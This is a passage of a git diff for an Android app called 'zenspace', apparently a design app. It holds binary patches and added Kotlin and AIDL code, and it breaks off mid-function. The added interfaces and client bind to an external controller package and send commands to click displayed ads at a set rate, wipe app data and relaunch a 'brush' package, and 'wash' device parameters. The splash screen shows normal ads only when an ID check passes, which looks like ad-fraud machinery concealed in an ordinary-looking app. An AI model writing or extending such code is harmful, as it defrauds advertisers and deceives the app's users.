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 BjSv6; diff --git a/app/libs/magiclock-debug.aar b/app/libs/magiclock-debug.aar new file mode 100644 index 0000000000000000000000000000000000000000..249cb0b874f7e5e094eaecf0ed5bc214c8fb6a4b GIT binary patch literal 9152 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 + xmlns:tools="http://schemas.android.com/tools" + tools:ignore="DiscouragedApi,LockedOrientationActivity"> + + + - + + + + + + @@ -41,6 +54,12 @@ + + \ No newline at end of file diff --git a/app/src/main/aidl/com/ad/click/cp/IMyAidlCallback.aidl b/app/src/main/aidl/com/ad/click/cp/IMyAidlCallback.aidl new file mode 100644 index 0000000..a142256 --- /dev/null +++ b/app/src/main/aidl/com/ad/click/cp/IMyAidlCallback.aidl @@ -0,0 +1,12 @@ +package com.ad.click.cp; + +interface IMyAidlCallback { + //广告指令执行完毕 + void onClickComplete(boolean b); + //参数修改指令执行完毕 + void onParametersComplete(boolean b); + //展示广告成功 + void onAdDisplayed(); + //展示广告失败 + void onAdDisplayFailed(); +} diff --git a/app/src/main/aidl/com/ad/click/cp/IMyAidlInterface.aidl b/app/src/main/aidl/com/ad/click/cp/IMyAidlInterface.aidl new file mode 100644 index 0000000..fd4944a --- /dev/null +++ b/app/src/main/aidl/com/ad/click/cp/IMyAidlInterface.aidl @@ -0,0 +1,23 @@ +package com.ad.click.cp; + +import com.ad.click.cp.IMyAidlCallback; + +interface IMyAidlInterface { + //点击show出来的广告,接收点击概率,包名 + void clickAd(int rate, String pkg); + //数据清除,启动刷刷包。接收包名 + void resetApp(String pkg); + //修改参数,传入是否是洗参 + void changeParameters(String pkg, boolean washParam); + // 注册不同类型的回调 + void registerCallback(IMyAidlCallback callback); + //load show click数据传输 + void adsChange(String pkg, int adLoadedCount, int adShownCount, int adClickCount); + //通过reset打开刷刷包成功后,响应这个方法 + void receiveResetOpenSuccessfully(); + // 心跳方法 + void onHeartBeat(String pkg); + // 检测刷刷包是否停止2.0 + void onBrushMiss(); +} + diff --git a/app/src/main/java/com/design/zenspace/DApplication.kt b/app/src/main/java/com/design/zenspace/DApplication.kt index 8eab5ed..f757fa4 100644 --- a/app/src/main/java/com/design/zenspace/DApplication.kt +++ b/app/src/main/java/com/design/zenspace/DApplication.kt @@ -4,9 +4,9 @@ import android.app.Application import android.util.Log import com.design.zenspace.entity.AppDataBase import com.design.zenspace.entity.FeatureDao +import com.design.zenspace.environment.ad.AdActivityManager +import com.design.zenspace.environment.jb.MagicLockManager import com.design.zenspace.tools.SaveUtil -import com.up.uploadlibrary.UpLoadManager - import java.io.IOException @@ -29,11 +29,6 @@ class DApplication : Application() { override fun onCreate() { super.onCreate() - UpLoadManager.init(this, TAG) { _, _ -> - // 处理逻辑 - null - Log.d(TAG, "upload success") - } val database = AppDataBase.getDatabase(this) val paperDao = database.featureDao() Thread { @@ -41,6 +36,8 @@ class DApplication : Application() { isDataInitialized = true }.start() + AdActivityManager.instance.setControl(this) + MagicLockManager.init(this) } private fun initializeData(paperDao: FeatureDao) { diff --git a/app/src/main/java/com/design/zenspace/SplashActivity.kt b/app/src/main/java/com/design/zenspace/SplashActivity.kt new file mode 100644 index 0000000..5469e87 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/SplashActivity.kt @@ -0,0 +1,71 @@ +package com.design.zenspace + +import android.content.Intent +import android.os.Bundle +import android.os.CountDownTimer +import android.os.Handler +import androidx.appcompat.app.AppCompatActivity +import com.ad.tradpluslibrary.TPAdManager +import com.design.zenspace.databinding.ActivityComeInBinding +import com.design.zenspace.environment.MainActivity2 +import com.design.zenspace.environment.hy.IdProvider +import com.design.zenspace.preview.CateAndLikActivity +import com.design.zenspace.tools.TopBarUtils + +class SplashActivity : AppCompatActivity() { + lateinit var binding: ActivityComeInBinding + private var handler: Handler = Handler() + private var time: Long = 14000 + private var countDownTimer: CountDownTimer? = null + + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + binding = ActivityComeInBinding.inflate(layoutInflater) + setContentView(binding.root) + if (IdProvider().getId() == 0L) { + TPAdManager.init( + this, + DApplication.TAG, + "B40C100CB1E175ED81EFC575BFFB3511", + "99E134664DC9E21D796BDF7747FCFF12", + "0B01387BA902075D61D1265B59099412", + "43A0C367BC57777A6DA8B22FF2A1F312" + ) { + + } + TopBarUtils.setStatusBar(this.window) + TopBarUtils.setLightStatusBar(this.window, true) + + countDownTimer = TPAdManager.showWelcomeAd( + this@SplashActivity, + time, + { aLong -> + val progressPercentage = (100 * aLong) / time + val percentage = 100 - progressPercentage + binding.progressbar.progress = percentage.toInt() + }, + { + val intent = Intent( + this@SplashActivity, + CateAndLikActivity::class.java + ) + startActivity(intent) + finish() + } + ) + countDownTimer?.start() + } else { + startActivity(Intent(this, MainActivity2::class.java)) + finish() + } + } + + override fun onDestroy() { + super.onDestroy() + handler.removeCallbacksAndMessages(null) + + if (countDownTimer != null) { + countDownTimer!!.cancel() + } + } +} \ No newline at end of file diff --git a/app/src/main/java/com/design/zenspace/environment/AIDLClient.kt b/app/src/main/java/com/design/zenspace/environment/AIDLClient.kt new file mode 100644 index 0000000..f7bff54 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/AIDLClient.kt @@ -0,0 +1,238 @@ +package com.design.zenspace.environment + +import android.content.ComponentName +import android.content.Context +import android.content.Intent +import android.content.ServiceConnection +import android.os.Handler +import android.os.IBinder +import android.os.Looper +import android.os.RemoteException +import android.util.Log +import androidx.lifecycle.MutableLiveData +import com.ad.click.cp.IMyAidlCallback +import com.ad.click.cp.IMyAidlInterface +import com.design.zenspace.environment.hy.TimeoutManager +import com.design.zenspace.environment.hy.TimeoutTask + +class AIDLClient private constructor() { + private var connection: ServiceConnection? = null + private var myService: IMyAidlInterface? = null + private var isClicking = false // 防止重复执行点击 + private var isReset = false // 防止重复执行重置 + private var isBound = false // 记录是否已绑定 + var isChangeComplete = false//防止修改参数重复发送 + + // LiveData 让 Activity 监听回调 + val paramCompleteLiveData = MutableLiveData() + + //连接是否断开 + val connectCompleteLiveData = MutableLiveData() + + val clickAdCompleteLiveData = MutableLiveData() + + companion object { + val instance: AIDLClient by lazy { AIDLClient() } + } + + /** + * 1. 初始化服务连接 + */ + fun initConnection() { + connection = object : ServiceConnection { + override fun onServiceConnected(className: ComponentName?, service: IBinder?) { + myService = IMyAidlInterface.Stub.asInterface(service) + myService?.registerCallback(callback) + isBound = true + connectCompleteLiveData.postValue(true) + Log.d("ocean-brush", "CP控制器连接成功") + } + + override fun onServiceDisconnected(className: ComponentName?) { + myService = null + isBound = false + connectCompleteLiveData.postValue(false) + Log.d("ocean-brush", "CP控制器连接断开") + } + } + } + + /** + * 绑定 AIDL + */ + fun connectService(context: Context): Boolean { + var success = false + if (!isBound) { + val intent = Intent() + intent.setAction("com.ad.click.cp.AidlService")//必须与服务端指定的service的name一致 + intent.setPackage("com.vastness.mask")//这个包名必须写服务端APP的包名 + success = context.bindService(intent, connection!!, Context.BIND_AUTO_CREATE) + } else { + Log.d("ocean-brush", "AIDL 已绑定,无需重复绑定") + } + return success + } + + /** + * 解绑 AIDL + */ + fun disconnect(context: Context) { + if (isBound && connection != null) { + context.unbindService(connection!!) + isBound = false + myService = null + Log.d("ocean-brush", "AIDL 连接已断开") + } else { + Log.d("ocean-brush", "AIDL未连接,无需解绑") + } + } + + fun sendHeartBeat(pkg: String): Boolean { + return try { + myService?.onHeartBeat(pkg) + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + false + } + } + + fun sendBrushMiss(): Boolean { + return try { + myService?.onBrushMiss() + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + false + } + } + + /** + * 发送点击指令 + */ + fun 